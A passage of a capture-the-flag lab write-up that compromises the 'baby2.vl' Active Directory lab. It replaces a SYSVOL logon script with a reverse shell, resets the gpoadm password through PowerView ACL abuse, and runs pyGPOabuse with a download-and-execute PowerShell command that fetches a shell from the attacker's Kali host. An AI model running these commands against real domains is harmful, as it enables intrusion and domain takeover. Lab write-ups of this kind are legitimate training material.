* We can see that the 'carl.moore' user is getting STATUS\_ACCESS\_DENIED and user 'library' is able to authenticate:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FKF2K7y7Rd5hUcD2R8WpA%2Fimage.png?alt=media&amp;token=7fa42a7e-1168-4242-8822-8ce42145bcf6" alt=""><figcaption></figcaption></figure>

* Now that we have READ on SYSVOL, I will look in this and see that there is a login.vbs file present. I am interested in grabbing this file as we saw a login.vbs.lnk file:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FB0FiDDitM2RIoLpuQ3wO%2Fimage.png?alt=media&amp;token=ed2d74a7-eab9-4edf-9f78-9754da6b4a6c" alt=""><figcaption></figcaption></figure>

* Script output:

{% code overflow="wrap" expandable="true" %}

```
Sub MapNetworkShare(sharePath, driveLetter)
    Dim objNetwork
    Set objNetwork = CreateObject("WScript.Network")    
  
    ' Check if the drive is already mapped
    Dim mappedDrives
    Set mappedDrives = objNetwork.EnumNetworkDrives
    Dim isMapped
    isMapped = False
    For i = 0 To mappedDrives.Count - 1 Step 2
        If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
            isMapped = True
            Exit For
        End If
    Next
    
    If isMapped Then
        objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
    End If
    
    objNetwork.MapNetworkDrive driveLetter & ":", sharePath
    
    If Err.Number = 0 Then
        WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
    Else
        WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
    End If
    
    Set objNetwork = Nothing
End Sub

MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
```

{% endcode %}

* Okay, this appears to be a script to map network drives. There might be a service or user account that runs this. If we can modify this script with a reverse shell and can successfully run it, we can potentially catch a reverse shell as the user or service account and possibly widen our reach within the network. This is similar to a previous lab that I completed where we modified the script.

## Gaining a Foothold via Script Path

* First, I will modify the script with a command that will run a base64 encoded reverse shell to connect back to our Kali host. We can use rev shells to generate this. I will use the following to create a WScript.Shell COM object that will run our shell. This gives us a programmatic interface to the Windows shell environment. It's not a command prompt itself, but rather an object that lets you interact with the shell layer:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FotXMsEHbpOAfeNCxFNFV%2Fimage.png?alt=media&amp;token=c3422969-8372-43c2-81f7-73ac8589cb61" alt=""><figcaption></figcaption></figure>

* Next, we can attempt to replace the script on the SYSVOL share and set up our Netcat listener. After some time, we will receive a connection back as user 'amelia.griffiths':

{% code overflow="wrap" expandable="true" %}

```
smbclient \\\\10.129.234.72\\SYSVOL -U 'library%<REDACTED>' -c 'cd baby2.vl/scripts; put login.vbs'
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FEVix0N1dWjyIw4HmSURL%2Fimage.png?alt=media&amp;token=022c5e37-0a66-4faf-a3ee-14e9d6cd5153" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FFHXuLtoVNGvqom5ZIV2T%2Fimage.png?alt=media&amp;token=ca5500e2-610f-4d71-b14f-35a7a32a4b01" alt=""><figcaption></figcaption></figure>

## Host Enumeration

* We can see that this user is a member of the 'office' and 'legacy' groups. Not much else was gleaned from initial enumeration, but I am interested in what permissions these groups might have. We can look at Bloodhound output:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FmHNyMj7qdQPMepMSFXTA%2Fimage.png?alt=media&amp;token=97200632-2340-496c-bdeb-672608d7a471" alt=""><figcaption></figcaption></figure>

## Bloodhound Enumeration

* We can now look at Bloodhound output to see if we can gain any insight into user permissions. We can see that members of legacy group have WriteOwner and WriteDacl permissions on GPOADM and GPO Management group:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FXzjTXGEJXtVlOh0Q9PPs%2Fimage.png?alt=media&amp;token=4e175fe9-b6e7-4f7d-a776-487b401888da" alt=""><figcaption></figcaption></figure>

* Bloodhound gives us our attack path moving forward. With WriteDacl, we can use this to change the password for the user 'GPOADM' using PowerView. We need to transfer PowerView over to the victim host.
* Once we have moved PowerView onto the victim host, we can run the following commands to change the users password:

{% hint style="info" %}
In trying to simply give the permissions to the Amelia user, I was finding that I was unable to do this from the command line with a simple command. I then had the idea to first get the domain member of the group legacy, and added these permissions for each user within that group. I believe that the box was defaulting to the other group 'office'. Below is my work around for this
{% endhint %}

{% code overflow="wrap" expandable="true" %}

```
#Define the variable to get members of the legacy group
$member = Get-DomainGroupMember -Identity "legacy" -Recurse | Select-Object -ExpandProperty MemberSID

#Use this variable to then add GenericAll permissions over gpoadm for our user
$member | ForEachObject { Add-DomainObjectAcl -targetidentity "gpoadm" -principalidentity "Amelia Griffiths" -Rights "all" }

#Create the credential object variable
$cred = ConvertTo-SecureString "pwned123!" -AsPlainText -Force

#Set the password
set-domainuserpassword gpoadm -accountpassword $cred
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FbaNx3ZVERhdG5w7hN03e%2Fimage.png?alt=media&amp;token=9f636304-60f3-4c2f-84e4-7b6b1f1b6f3f" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

* Now that we have control of the gpoadm user, we can see this user has GenericAll rights over the Default Domain Policy:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FdZZWyuwXkZV38fYtbWDb%2Fimage.png?alt=media&amp;token=207ad7cb-f544-48e9-9d25-55c61cc53014" alt=""><figcaption></figcaption></figure>

* With this permission over the Domain policy, we can now abuse this. We can use pyGPOabuse. Per this article <https://www.thehacker.recipes/ad/movement/group-policies> "An attacker can edit the GPO to add a scheduled task that runs instantly and removes itself after, every time Group Policy refreshes. The attacker can then gain access to all AD objects this GPO applies to."
* This will give us the ability to escalate privileges as we can gain a reverse shell as SYSTEM, we can move a user to the local admin and gain access that way, the possibilities are endless with this. In this case, I want to host a reverse shell file on my Kali host and have the victim host reach out, grab the contents of the file, and execute it to gain a shell.
* First, I will place a reverse shell from[ https://www.revshells.com/](https://www.revshells.com/) in a file on my Kali host:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FRreqjJtxsTWCGg9FmkiT%2Fimage.png?alt=media&amp;token=fe9d6d60-347e-4e2d-8ca3-686a5a269914" alt=""><figcaption></figcaption></figure>

* Next, I will run a python server on Kali and run the following command to abuse and update the GPO. This will create a scheduled task under the SYSTEM level user security context and run the reverse shell as said user:

{% code overflow="wrap" expandable="true" %}

```
python3 pygpoabuse.py 'baby2.vl/gpoadm:pwned123!' -gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' -f -powershell -command "IEX(New-Object Net.WebClient).downloadString('http://<KaliIP>/shell.txt')"  -dc-ip '10.129.234.72'
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FHVRM0tvGNCO1DDOQ7eNb%2Fimage.png?alt=media&amp;token=45978cd8-9a3b-40ba-a3c5-fe55618493eb" alt=""><figcaption></figcaption></figure>

* Next, we will go back to our shell as Amelia, we can run the command 'gpupdate' and subsequently see the host reach out to grab the contents of the file and execute the reverse shell as the SYSTEM level user. We can then grab the flag:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FxqNFedKh0b6jg8NWSGNq%2Fimage.png?alt=media&amp;token=9074c214-d81b-47eb-9f88-45572dcb6f4c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F223uGNDy5CrdYNfddtOK%2Fimage.png?alt=media&amp;token=13b485dd-c370-4c8e-a030-66fc2b77c755" alt=""><figcaption></figcaption></figure>

## Resources

### WScript COM Object

* <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript>
* <https://learn.microsoft.com/en-us/windows/win32/shell/shell-shellexecute>
* <https://learn.microsoft.com/en-us/powershell/scripting/samples/creating-.net-and-com-objects--new-object-?view=powershell-7.5>
* <https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/bb776890(v=vs.85)>

### GPO Abuse

* <https://www.thehacker.recipes/ad/movement/group-policies>
* <https://www.hackingarticles.in/gpo-abuse-exploiting-vulnerable-group-policy-objects/>